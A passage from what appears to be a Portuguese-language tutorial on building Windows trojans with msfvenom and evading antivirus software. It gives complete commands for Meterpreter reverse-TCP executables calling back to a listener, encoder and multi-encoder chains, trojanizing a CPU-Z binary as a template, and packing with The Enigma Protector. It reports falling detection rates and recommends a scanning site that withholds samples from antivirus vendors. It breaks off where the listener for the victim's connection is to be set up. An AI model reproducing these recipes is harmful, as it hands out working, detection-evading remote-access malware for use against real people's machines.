Agora chegou a hora de colocar na prática o que aprendemos até agora, vamos gerar alguns executáveis Windows de diferentes maneiras e testá-los. Aqui eu vou utilizar o site virustotal.com pois só estou demonstrando exemplos, esse site permite fazer upload de arquivos para serem verificados por dezenas de antivírus de mercado, desde os mais conhecidos até os que nunca ouvimos falar. Porém nem tudo são flores, esse site essas análises para as empresas de antivírus, em outras palavras ele ajuda a alimentar as assinaturas que nos estamos tentando evitar. Quando eu tenho que fazer algum bypass eu utilizo uma VM com o AV que preciso testar, ou utilizo o site nodistribute.com, que não fornece dados para as empresas de AV.

Exemplo 1

Primeiro eu vou gerar um payload bem simples, sem nenhum tipo de encode só para ver quais AVs irão identificá-lo. Eu não vou ficar explicando os parâmetros pois já fiz isso no tópico acima, caso você tenha alguma dúvida é só deixar um comentário.

# msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=443 -f exe -o /var/www/html/trojan.exe

Agora que nosso payload foi gerado vamos analisá-lo no VT, abaixo você pode conferir o resultado da análise. Perceba que gerando um payload extremamente simples, sem nenhum encode ou outras técnicas de obfuscação nós já conseguimos burlar alguns AV, sendo alguns deles bem conhecidos no mercado.

Exemplo 2

Agora iremos gerar o mesmo payload porém utilizando um encoder para tentar burlar os AVs. No exemplo abaixo eu estou utilizando o cmb/powershell_base64 que é um dos dois únicos encoders categorizados como excelente no MSF.

# msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=443 -e cmd/powershell_base64 -f exe-only -o /var/www/html/trojan_encode.exe

Assim como no exemplo acima, vamos analisá-lo no VT. Perceba que a quantidade de AV que foi capaz de identificar o malware caiu drasticamente de 38/66 para 18/66. Diversos AV de mercado extremamente conhecidos como Avast, AVG, Avira, BitDefender, Comodo, Panda, Symantec, McAfee, TrendMicro e outros não foram capazes de identificar o malware. Isso por que utilizamos um simples encoder, como nós veremos mais pra baixo, ainda temos a opção de utilizar multiencoders, ou seja, combinar mais de um encoder para aumentar a chance de bypass.

Exemplo 3

No nosso terceiro exemplo, eu vou gerar um payload utilizando um template. Vou utilizar a versão portátil do CPU-z como template para o nosso malware.

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=443 -x /root/cpuz_x32.exe -k -e cmd/powershell_base64 -i 17 -n 99598 -f exe -o /var/www/html/trojan_encode_template.exe

No resultado da análise podemos observar que mais AVs detectaram nosso malware, entretanto continuamos fazendo o bypass em alguns AVs bastante utilizados como Comodo, McAfee, Panda, Sophos entre outros. Utilizar um template nem sempre é uma boa opção como podemos notar, mas ainda é útil em diversos casos.

Multi-encoders

Para tentar obter maiores resultados nos podemos utilizar a opção de multi-encoders, essa opção permite codificar o payload diversas vezes utilizando diferentes encoders para burlar os AVs. Entretanto é preciso utilizar esse recurso com moderação, pois caso você encode o payload de maneira excessiva ele pode não funcionar. Abaixo segue um exemplo de geração de um payload utilizando muti-encoding:

# msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=443 -b '\x00' -f raw | msfvenom -a x64 --platform windows -e x64/xor -i 2 -f raw | msfvenom -a x64 --platform windows -e cmd/powershell_base64 -f exe-only -o /var/www/html/payload_multiencoder.exe

Veja que utilizando a técnica de multi-encoding nos conseguimos diminuir de forma simbólica a quantidade de AVs capazes de identificar o nosso malware, no exemplo 2 acima nos utilizamos o encoding simples e tivemos uma taxa de detecção de 18/66.

Criptografando o payload

Uma outra técnica de bypass que é muito útil é criptografar nosso malware, isso dificulta que os AVs possam analisar nosso payload por completo. Essa prática é originalmente usada para dificultar a engenharia reversa de softwares, porém nos utilizamos o mesmo procedimento para fazer bypass de AVs. Eu vou usar o software The Enigma Protector para criptografar nossos payloads que geramos acima e vou analisá-los novamente para vermos a diferença. Vale lembrar que para criptografar payloads de arquitetura de 32bits temos que usar a versão do Enigma da mesma arquitetura, a mesma regra cabe para payloads de 64bits.

O Enigma tem dezenas de opções que podemos configurar, porém as opções padrão já fazer toda diferença para a nossa finalidade. Para usar o Enigma é muito simples, basta abrir o software adicionar o payload gerado no campo input e mandar proteger.

Depois que criptografado, eu analisei o arquivo e veja como temos um resultado absurdamente significativo. Tivemos uma queda de 32/66 para 10/66 na quantidade de AVs capazes de identificar o payload. A maioria dos AVs mais conhecidos foram bypassados.

Esse número baixa ainda mais quando criptografamos o segundo payload gerado (trojan_encode). Chegamos a um resultado de 6/65 dos 18/66 iniciais. Com esses exemplos podemos ver que ter um antivírus na máquina não é garantia de proteção.

Para poder receber a conexão da nossa vítima basta utilizar o módulo multi/handler do Metasploit: